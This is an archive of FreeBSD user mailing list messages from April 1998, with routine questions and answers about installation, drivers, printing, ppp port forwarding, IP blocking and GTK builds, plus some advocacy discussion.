owner-freebsd-questions Mon Apr 6 13:51:04 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA10668 for freebsd-questions-outgoing; Mon, 6 Apr 1998 13:51:04 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA10660 for ; Mon, 6 Apr 1998 13:50:59 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id NAA19083; Mon, 6 Apr 1998 13:26:40 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Mon, 6 Apr 1998 13:26:40 -0700 (PDT) From: Doug White Reply-To: Doug White To: "Ian O'Friel" cc: freebsd-questions@FreeBSD.ORG Subject: Re: Help In-Reply-To: <000701bd617e$0258f5c0$2ff648c2@metallica> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Please wrap your lines, thanks. On Mon, 6 Apr 1998, Ian O'Friel wrote: > I have just installed FreeBSD 2.2.5 because I need to learn how to use > multiple Operating Systems, I have well above average knowledge of DOS, > Windows 3.1x/95/NT and OS/2 Warp 3. My next task is to learn FreeBSD. I > have it on a Dual-Boot system with Windows 95 and OS/2 (or should that > be triple boot ?!?) Sounds good. > The problem is that the only thing I can get the god-damned thing to do > is run the Installation Program by typing /stand/sysinstall . Is there > any way of getting a Graphical User Interface, can I download one, is > there one with FreeBSD ? The X Window System is an option you can install. It's best installed at system install time although you can do it later. > Also, How do you play the games, I have several games installed with > FreeBSD like Doom and NetHack. How do I run these ?? Just type their names, ie `nethack'. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 13:51:34 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA10746 for freebsd-questions-outgoing; Mon, 6 Apr 1998 13:51:34 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from hal.mcclellan.af.mil (hal.mcclellan.af.mil [137.243.253.236]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA10705 for ; Mon, 6 Apr 1998 13:51:13 -0700 (PDT) (envelope-from proctor.stephen@email.mcclellan.af.mil) Received: from conversion.HERA.MCCLELLAN.AF.MIL by HERA.MCCLELLAN.AF.MIL (PMDF V5.1-10 #29043) id <01IVJUWH4QGG90PR74@HERA.MCCLELLAN.AF.MIL> for questions@freebsd.org; Mon, 6 Apr 1998 13:52:11 PDT Received: from spacegate.mcclellan.af.mil (lhgate1a.mcclellan.af.mil) by HERA.MCCLELLAN.AF.MIL (PMDF V5.1-10 #29044) with ESMTP id <01IVJUWF8OMAHXKOAI@HERA.MCCLELLAN.AF.MIL> for questions@freebsd.org; Mon, 06 Apr 1998 13:52:07 -0700 (PDT) Received: by lhgate1a.mcclellan.af.mil with Internet Mail Service (5.0.1460.8) id ; Mon, 06 Apr 1998 13:47:59 -0700 Content-return: allowed Date: Mon, 06 Apr 1998 13:47:57 -0700 From: "Proctor, Stephen M." Subject: Frontpage 98 Extensions To: "'questions@freebsd.org'" Message-id: <78AE583D6772D111B2BD00805FFE2C6E04E9D1@lhgate1a.mcclellan.af.mil> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.0.1460.8) Content-type: text/plain Content-transfer-encoding: 7BIT Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Has anyone successfully installed Frontpage 98 extensions with Apache on their FreeBSD systems? If so, is there an easy way to do this and where can I find the instructions. Thanks, Steve To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 14:03:51 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA12956 for freebsd-questions-outgoing; Mon, 6 Apr 1998 14:03:51 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from endeavor.flash.net (endeavor.flash.net [209.30.0.40]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA12948 for ; Mon, 6 Apr 1998 14:03:42 -0700 (PDT) (envelope-from anthony@sohopros.com) From: anthony@sohopros.com Received: from anthony.flashnet (fwasc20-226.flash.net [209.30.13.226]) by endeavor.flash.net (8.8.8/8.8.5) with SMTP id QAA17275; Mon, 6 Apr 1998 16:03:29 -0500 (CDT) Message-Id: <3.0.32.19980406160226.00815430@pop.flash.net> X-Sender: anthony@pop.flash.net X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Mon, 06 Apr 1998 16:02:28 -0500 To: ken@mui.net, freebsd-questions@FreeBSD.ORG Subject: Re: communicator-v404 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >don't you prefer version 4.05? it's at > >ftp.netscape.com > >/pub/communicator/4.05/development/english/unix/freebsd I have not been able to make it work. My understanding is that there is a problem with the 4.05 version. Anthony .... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 14:36:34 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA17517 for freebsd-questions-outgoing; Mon, 6 Apr 1998 14:36:34 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from master.chem.yale.edu (master.chem.yale.edu [130.132.25.61]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id OAA17272 for ; Mon, 6 Apr 1998 14:35:47 -0700 (PDT) (envelope-from den@master.chem.yale.edu) Received: from localhost by master.chem.yale.edu via SMTP; Mon, 6 Apr 1998 17:35:28 -0400 Date: Mon, 6 Apr 1998 17:35:27 -0400 (EDT) From: Dennis Ostrovsky To: freebsd-questions@FreeBSD.ORG Subject: Intel EtherExpress Pro/10 PCI Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'm wondering how to get my ethernet card to have assigned a driver to it. On boot up it's recognized, but then ignored. It is currently not connected to any network. pci0:9: Intel Corporation, device=0x1226, class=network (ethernet) int a irq 11 [no driver assigned] fxp0 is the pci driver for the 100 card, and I'm pretty sure that ex0 is for the 10 isa card...it was in the generic kernel (which I've since rebuilt) but it wasn't recognized. I'm running FreeBSD 2.2.5-Release. Is there a driver for the PCI version? Thanks. --------------------------------------------------------------------- Dennis Ostrovsky | E-mail: den@master.chem.yale.edu Department of Chemistry | Yale University | WWW: http://pantheon.yale.edu/~do33 --------------------------------------------------------------------- Technology has met its promise of reducing our work load. It does this primarily by preventing us from doing any work at all. (Dilbert) --------------------------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 14:50:34 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA19473 for freebsd-questions-outgoing; Mon, 6 Apr 1998 14:50:34 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from logon.log.on.ca (root@log.on.ca [205.207.183.29]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA19423 for ; Mon, 6 Apr 1998 14:50:17 -0700 (PDT) (envelope-from andrew@log.on.ca) Received: from [192.168.1.3](ppp0022.log.on.ca[205.207.183.57]) (1194 bytes) by logon.log.on.ca via sendmail with P:smtp/R:bind_hosts/T:inet_zone_bind_smtp (sender: ) id for ; Mon, 6 Apr 1998 17:50:14 -0400 (EDT) (Smail-3.2.0.101 1997-Dec-17 #2 built 1997-Dec-18) Message-Id: To: "freebsd-questions@freebsd.org" Subject: Re: Using ICQ with an IP alias Date: Mon, 06 Apr 98 17:53:58 -0500 From: Andrew Stevens X-Mailer: E-Mail Connection v2.5.03 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG -- [ From: Andrew Stevens * EMC.Ver #2.5.02 ] -- Greetings: Thanks to all who replied to my question regarding the use of chat programs through an IP alias. I've been trying to open some ports up and get them routed to my Windows box, but haven't been successful so far. Can anyone give me an example of how to open one up, i.e. what revisions need to be made, and whether they go in ppp.conf, or another file? If I know how to add one, the others should be a breeze. I'll post some information about my system below to make the explanation a little easier: FreeBSD box IP: 192.168.1.1 Windows box IP: 192.168.1.3 Sample port to add: Apache Web Server on my windows box, using port 8080 (easy to test) Listed in /etc/services as: web2 Thanks again for your assistance. Regards, Andrew Stevens. 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MAVERICK CARPET CLEANING 1-917-906-6737 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 14:56:12 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA20714 for freebsd-questions-outgoing; Mon, 6 Apr 1998 14:56:12 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from whqvax.picker.com (whqvax.picker.com [144.54.1.1]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id OAA20619 for ; Mon, 6 Apr 1998 14:55:58 -0700 (PDT) (envelope-from rhh@ct.picker.com) Received: from ct.picker.com by whqvax.picker.com with SMTP; Mon, 6 Apr 1998 17:54:50 -0400 (EDT) Received: from elmer.ct.picker.com by ct.picker.com (4.1/SMI-4.1) id AA18931; Mon, 6 Apr 98 17:54:48 EDT Received: by elmer.ct.picker.com (SMI-8.6/SMI-SVR4) id RAA04112; Mon, 6 Apr 1998 17:54:31 -0400 Message-Id: <19980406175431.21016@ct.picker.com> Date: Mon, 6 Apr 1998 17:54:31 -0400 From: Randall Hopper To: Doug White Cc: questions@FreeBSD.ORG Subject: Re: 2.2 printcap entry -- a no-go on 3.0 Mail-Followup-To: Doug White , questions@FreeBSD.ORG References: <19980405205731.44447@ct.picker.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89.1i In-Reply-To: ; from Doug White on Mon, Apr 06, 1998 at 01:07:42PM -0700 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Doug White: |On Sun, 5 Apr 1998, Randall Hopper wrote: |> |> Warning: text is down: printing disabled |> | ^^^^^^^^^^^^^^^^^ |> | |> |Have you tried going into lpc and restarting this printer? Looks like it |> |was disabled from lpc. |> |> Yes, I did. No matter what I do, the "lp" and "text" queues say printing |> is disabled. However, the "ps" queue works fine. This strangeness is |> illustrated in the shell output below. | |Check that your spool directories are writable and that there aren't any |stale files. This was the tip-off I needed. I backed up my spool dir and, one by one, started removing files, restarting lpd, and seeing whether printing would work. The culprit seemed to be the "lock" file in the "lp" and "text" queue directories. Each of them had only a single line in them with a number on it (the process ID of the job, it looks like). E.g.: 1138 However, when I toasted the file and let lpd recreate it when a job was printed to that queue, I got: 1377 cfA000stealth Which lpd was much happier with (the queue was enabled for that and subsequent lpd starts [rather than always disabled], and the jobs sent to that queue would print). I guess these old lock files might have come from my last FreeBSD 2.2.1 version, and the behavior of the 3.0 lpd seems to be to just refuse to enable a queue when the lock file isn't of the right format. Thanks for the help Doug! Randall To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 15:36:21 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA25443 for freebsd-questions-outgoing; Mon, 6 Apr 1998 15:36:21 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from cplkagan.globaleyes.net (cplkagan.GlobalEyes.net [209.60.64.59]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA25432 for ; Mon, 6 Apr 1998 15:36:12 -0700 (PDT) (envelope-from parrothd@midwest.net) Received: from parrothd.houselan.net (parrothd [10.10.0.10]) by cplkagan.globaleyes.net (8.8.7/8.8.5) with SMTP id RAA05478; Mon, 6 Apr 1998 17:36:12 -0500 (CDT) Message-Id: <3.0.5.32.19980406174546.00834320@midwest.net> X-Sender: parrothd@midwest.net X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32) Date: Mon, 06 Apr 1998 17:45:46 -0500 To: Andrew Stevens , "freebsd-questions@freebsd.org" From: "Jonathan E. Lyons" Subject: Re: Using ICQ with an IP alias In-Reply-To: Mime-Version: 1.0 Content-Type: text/enriched; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Here's what my ppp.conf looks like to redirect ftp request to one of my win95 machines.... global: accept chap deny pap set phone 123456 set authname name set authkey password set openmode active set ifaddr 209.60.6.1/0 209.60.6.59/0 255.255.255.0 add 0 0 209.60.6.59 alias port udp 10.10.0.10:21 21 <<<<--change 21 to 3001 and so on... alias port tcp 10.10.0.10:21 21 10.10.0.10 is my local machine, behind the firewall... At 05:53 PM 4/6/98 -0500, Andrew Stevens wrote: >-- [ From: Andrew Stevens * EMC.Ver #2.5.02 ] -- > >Greetings: > > Thanks to all who replied to my question regarding the use of chat >programs through an IP alias. I've been trying to open some ports up and >get them routed to my Windows box, but haven't been successful so far. Can >anyone give me an example of how to open one up, i.e. what revisions need to >be made, and whether they go in ppp.conf, or another file? If I know how to >add one, the others should be a breeze. > > I'll post some information about my system below to make the explanation >a little easier: > >FreeBSD box IP: 192.168.1.1 >Windows box IP: 192.168.1.3 >Sample port to add: Apache Web Server on my windows box, using port 8080 >(easy to test) >Listed in /etc/services as: web2 > > Thanks again for your assistance. > >Regards, > > > >Andrew Stevens. > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > > The beer is too cold, the daiquiris too fruitful, there's no place like home! Jimmy Buffett "The weather is here, Wish you were beautiful" Jon Lyons parrothd@midwest.net 87 HONDA VFR700 http://cplkagan.dyn.ml.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 16:06:33 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA28827 for freebsd-questions-outgoing; Mon, 6 Apr 1998 16:06:33 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from caladan.tdx.co.uk (caladan.tdx.co.uk [195.188.177.4]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA28818 for ; Mon, 6 Apr 1998 16:06:25 -0700 (PDT) (envelope-from kpielorz@tdx.co.uk) Received: from tdx.co.uk (lorca-tx.tdx.co.uk [195.188.177.242]) by caladan.tdx.co.uk (8.8.8/8.8.8) with ESMTP id AAA01756; Tue, 7 Apr 1998 00:04:04 +0100 (BST) (envelope-from kpielorz@tdx.co.uk) Message-ID: <35295F61.B46BE57F@tdx.co.uk> Date: Tue, 07 Apr 1998 00:04:01 +0100 From: Karl Pielorz Organization: TDX X-Mailer: Mozilla 4.04 [en] (WinNT; I) MIME-Version: 1.0 To: s_martin@apics-hq.org CC: freebsd-questions@FreeBSD.ORG Subject: Re: Block IP address References: <3192A1127F7@apics_3.apics-hq.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG The quickest (but not best way) is by simply routing their traffic to 'never-never' land... e.g. route add their.ip.add.ress somewhere.that.don't.exist For example: route add 158.152.1.65 192.168.200.100 Means you will still get data from them, but your system won't send them anything back... _BEFORE_ I get flamed for that, the 'proper' way is to either block it at your networks router - or you can block it at your FreeBSD box by setting it up to use 'ipfw' (IP Firewall). The IPFW is the better way to go... Have a look through the FAQ's (and rc.conf) - if your still stuck let me know - I'll send you some example stuff... _BE WARNED_ You should have console access to do this, as it's _very_ easy to leave the machine in a state where it won't talk to anyone on any LAN's it's connected to... ;-) Regards, Karl Pielorz Sherry Martin wrote: > > I am fairly new at the FreeBSD operating system and was hoping > someone might be able to answer a question for me. I currently use > FreeBSD as my mail gateway and would like to explicity block an IP > address -- Can anyone tell me how to do this? > > Thanks > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 16:07:00 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA28890 for freebsd-questions-outgoing; Mon, 6 Apr 1998 16:07:00 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from healy.dpac.tas.gov.au (healy.dpac.tas.gov.au [147.109.154.3]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA28875 for ; Mon, 6 Apr 1998 16:06:54 -0700 (PDT) (envelope-from C.Nairn@dpac.tas.gov.au) Received: from pc0123 (pc0123.dpac.tas.gov.au [147.109.150.123]) by healy.dpac.tas.gov.au (8.8.7/DPACV8) with SMTP id JAA07611; Tue, 7 Apr 1998 09:04:45 +1000 (EST) Message-Id: <3.0.1.32.19980407090720.00996180@mailroom.dpac.tas.gov.au> X-Sender: cpn@mailroom.dpac.tas.gov.au X-Mailer: Windows Eudora Light Version 3.0.1 (32) Date: Tue, 07 Apr 1998 09:07:20 +1000 To: Edwin Culp , questions@FreeBSD.ORG From: Carey Nairn Subject: Re: GTK 99.9 In-Reply-To: <352921E2.1079C6B4@ver1.telmex.net.mx> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I don't know why the port doesn't work, but apart from the need to set a few environment variables (CPPFLAGS, LDFLAGS, CFLAGS), gtk+0.99.9/gimp-0.99.23 compiles "out of the box" with gmake. cheers, Carey Nairn At 13:41 6/04/98 -0500, Edwin Culp wrote: >doing a make on ports in current always stops with >a testgtk error. So I haven't been able to compile >the new version of Gimp or GTK that it depends on. > >Anyone else had this problem? > >Thanks > >ed > >P.S. Better question. Has anyone solved the problem? :-) > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > > Carey Nairn Mailto:C.Nairn@dpac.tas.gov.au Information Systems Branch Phone: (03) 6233 3077 Dept of Premier & Cabinet Fax: (03) 6224 3174 GPO Box 123b Hobart, Tasmania 7001 AUSTRALIA _________________________________________________________________________ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 16:08:46 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA29059 for freebsd-questions-outgoing; Mon, 6 Apr 1998 16:08:46 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA29030 for ; Mon, 6 Apr 1998 16:08:36 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id IAA11977; Tue, 7 Apr 1998 08:38:28 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id IAA06182; Tue, 7 Apr 1998 08:38:27 +0930 (CST) (envelope-from grog) Message-ID: <19980407083827.44864@freebie.lemis.com> Date: Tue, 7 Apr 1998 08:38:27 +0930 From: Greg Lehey To: David Shanes Cc: freebsd-questions@FreeBSD.ORG, Brett Glass Subject: Re: Fw: Linux the only non-Microsoft OS that's gaining market share? References: <03d801bd618c$d543d4b0$1d43a8c0@shanes.personalogic.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: <03d801bd618c$d543d4b0$1d43a8c0@shanes.personalogic.com>; from David Shanes on Mon, Apr 06, 1998 at 11:50:13AM -0700 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 6 April 1998 at 11:50:13 -0700, David Shanes wrote: >> At 12:58 AM 4/5/98 -0300, Capriotti wrote: >> >>> Great ! That makes two of us. Any other takers ? >>> >>> Do I really have to remind you *****ALL**** about the importance of this >>> action ? >>> >>> Can you guys imagine what a Community letter addressed to Mr. Marc AND > CCed >>> to the press would do ? >>> >>> and, additionally, what about sending Mr. Netscape a copy of Greg's book, >>> with the lattest FreeBSD AND Netscape ??? >>> >>> [uhhhhh... that would be a low blow, heheheh] >>> > From: Brett Glass >> >> I have, of course, done the same. I would also HIGHLY recommend >> sending a copy of the book + CD package -- ASAP -- to >> >> Mr. James Love >> Consumer Project on Technology >> PO Box 19367 >> Washington DC 20036 >> >> James Love works directly for Ralph Nader, and composed the letter >> to OEMs asking that they bundle alternative operating systems >> with their machines. The letter mentioned Linux but not FreeBSD. >> The group is installing Linux and will probably recommend it as >> an alternative to Microsoft operating systems, but they have not >> to my knowledge even tried FreeBSD. >> >> If Walnut Creek is concerned about the expense of sending out an >> evaluation copy or two of FreeBSD 2.2.6 and the book to Mr. Love >> and Mr. Nader, perhaps we can take up a small collection to have >> them sent. > > Greg, > Is there something that you can work out at Walnut Creek? I am sure that > you know someone there. Sure. I suppose I can forward this message. > I am sure that Walnut Creek can see the obvious benefit to them in $$$ > of another party pushing the merits of FreeBSD. WC is normally very receptive to this kind of idea. Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 16:12:22 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA29980 for freebsd-questions-outgoing; Mon, 6 Apr 1998 16:12:22 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from emf.emf.net (lord@emf.emf.net [205.149.0.20]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA29891 for ; Mon, 6 Apr 1998 16:12:02 -0700 (PDT) (envelope-from lord@emf.net) Received: (from lord@localhost) by emf.emf.net (K/K) id QAA03700; Mon, 6 Apr 1998 16:11:48 -0700 (PDT) Date: Mon, 6 Apr 1998 16:11:48 -0700 (PDT) From: Tom Lord Message-Id: <199804062311.QAA03700@emf.emf.net> To: freebsd-questions@FreeBSD.ORG cc: lord@emf.emf.net Subject: not exactly a question Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG A Strategy For Winning Big With Freeware by: Tom Lord , 1810 Francisco St. #2 / Berkeley, CA / 94703-1313 date: 6 Apr 1998 ---------------------------------------------------------------- "The primary goal of the summit is a high-level exchange of ideas and strategies for expanding the acceptance of popular freeware" Tim O'Reilly (http://www.oreilly.com) I think it is too hard to build a small network using publicly licensed software. To wire up, for example, a small office, there are many programs to install and configure, and if you don't get them just right, the whole thing fails to work. Each application has its own installation procedures and requirements. Documentation is generally poor and scattered. Here's a scenario: suppose you want to wire up a new CD store so that the cash registers all send transaction reports to a single server that generates a journal tape that the (off network) inventory database analyzes at the end of the day. To me, that sounds like a job that should take perhaps 2-4 hours, if the cable has already been installed -- loading standard software onto the machines, perhaps setting a few parameters, and double checking to make sure everything works. But with freeware: ok, I'll look into Emacs modes and Tcl/Tk scripts for cash registers while you install Linux everywhere and configure the net; we'll meet back here in a couple of days. I think the best "strategy for expanding the acceptance of popular freeware" is simply to identify a whole bunch of similar scenarios and create "pre-fab" solutions for them. For example, it might be a good idea to publish (compatible) CD-ROM and documentation sets for a specialized unix, pre-configured to boot running exactly one application: a cash register interface or a database server. From a technical point of view, producing such a series seems almost goofily easy, so in my opinion it would be a lot of fun to do _extremely_ well. I propose that we form a general agreement to cooperate in building a series of software and documentation publications. The series to be constructed in steps: 1. Identify a small number of network-building scenarios, like wiring up a retail store, that we want to optimize. 2. Design simple component specifications for components which solve the scenarios and that are easy to build. 3. Independently build components to fit the specifications. Build redundant components. Build components that interact in nifty ways using protocols expressed as standards. Simultaneously, integrate and test the independently developed components; prepare them for publication. 4. Publish the software, documentation, and "research and development reports" about the internal standards developed, etc. In addition to being generally beneficial and possibly effective in "expanding acceptance of freeware", such an exercise would be profitably repeatable an essentially indefinite number of times. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 16:10:07 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA29535 for freebsd-questions-outgoing; Mon, 6 Apr 1998 16:10:07 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from implode.root.com (implode.root.com [198.145.90.17]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA29369 for ; Mon, 6 Apr 1998 16:09:48 -0700 (PDT) (envelope-from root@implode.root.com) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.5/8.8.5) with ESMTP id QAA02551; Mon, 6 Apr 1998 16:08:32 -0700 (PDT) Message-Id: <199804062308.QAA02551@implode.root.com> To: Dennis Ostrovsky cc: freebsd-questions@FreeBSD.ORG Subject: Re: Intel EtherExpress Pro/10 PCI In-reply-to: Your message of "Mon, 06 Apr 1998 17:35:27 EDT." From: David Greenman Reply-To: dg@root.com Date: Mon, 06 Apr 1998 16:08:32 -0700 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >I'm wondering how to get my ethernet card to have assigned a driver to it. >On boot up it's recognized, but then ignored. It is currently not >connected to any network. > >pci0:9: Intel Corporation, device=0x1226, class=network (ethernet) int >a irq 11 [no driver assigned] > >fxp0 is the pci driver for the 100 card, and I'm pretty sure that ex0 is >for the 10 isa card...it was in the generic kernel (which I've since rebuilt) >but it wasn't recognized. I'm running FreeBSD 2.2.5-Release. Is there a >driver for the PCI version? How old is this card? The PCI Pro/10, Pro/100B, and Pro/100+ that I'm familiar with have a device ID of 0x1229. -DG David Greenman Core-team/Principal Architect, The FreeBSD Project To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 16:23:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA02464 for freebsd-questions-outgoing; Mon, 6 Apr 1998 16:23:56 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from fidalgo.foghead.com (fidalgo.foghead.com [192.147.160.11]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA02446 for ; Mon, 6 Apr 1998 16:23:48 -0700 (PDT) (envelope-from junkins@foghead.com) Received: from localhost (junkins@localhost) by fidalgo.foghead.com (8.8.5/8.8.5) with SMTP id QAA00340 for ; Mon, 6 Apr 1998 16:23:17 -0700 (PDT) X-Authentication-Warning: fidalgo.foghead.com: junkins owned process doing -bs Date: Mon, 6 Apr 1998 16:23:16 -0700 (PDT) From: Doug Junkins X-Sender: junkins@fidalgo Reply-To: Doug Junkins To: freebsd-questions@FreeBSD.ORG Subject: 2.2.6 install problem Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I've just tried installing 2.2.6-RELEASE on my system (currently running 2.2.2-RELEASE) using the standard boot floppy and am getting the following kernel panic just after the "probing devices" screen comes up: panic: vm_fault: fault on nofault entry, addr: f2f02000 Any ideas how to rectify? Everything is working fine with 2.2.2, but I'd like to try the new PnP and sound code to see if my sound card is finally going to work. The system is an old Gateway 2K P60. -Doug To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 16:25:03 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA02603 for freebsd-questions-outgoing; Mon, 6 Apr 1998 16:25:03 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from healy.dpac.tas.gov.au (healy.dpac.tas.gov.au [147.109.154.3]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA02586 for ; Mon, 6 Apr 1998 16:24:45 -0700 (PDT) (envelope-from C.Nairn@dpac.tas.gov.au) Received: from pc0123 (pc0123.dpac.tas.gov.au [147.109.150.123]) by healy.dpac.tas.gov.au (8.8.7/DPACV8) with SMTP id JAA08535; Tue, 7 Apr 1998 09:22:42 +1000 (EST) Message-Id: <3.0.1.32.19980407092517.0097c630@mailroom.dpac.tas.gov.au> X-Sender: cpn@mailroom.dpac.tas.gov.au X-Mailer: Windows Eudora Light Version 3.0.1 (32) Date: Tue, 07 Apr 1998 09:25:17 +1000 To: Paul MacKenzie , freebsd-questions@FreeBSD.ORG From: Carey Nairn Subject: Re: Domain name problem: DNS & Sendmail?? In-Reply-To: <199804062015.QAA00398@server.elehost.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" 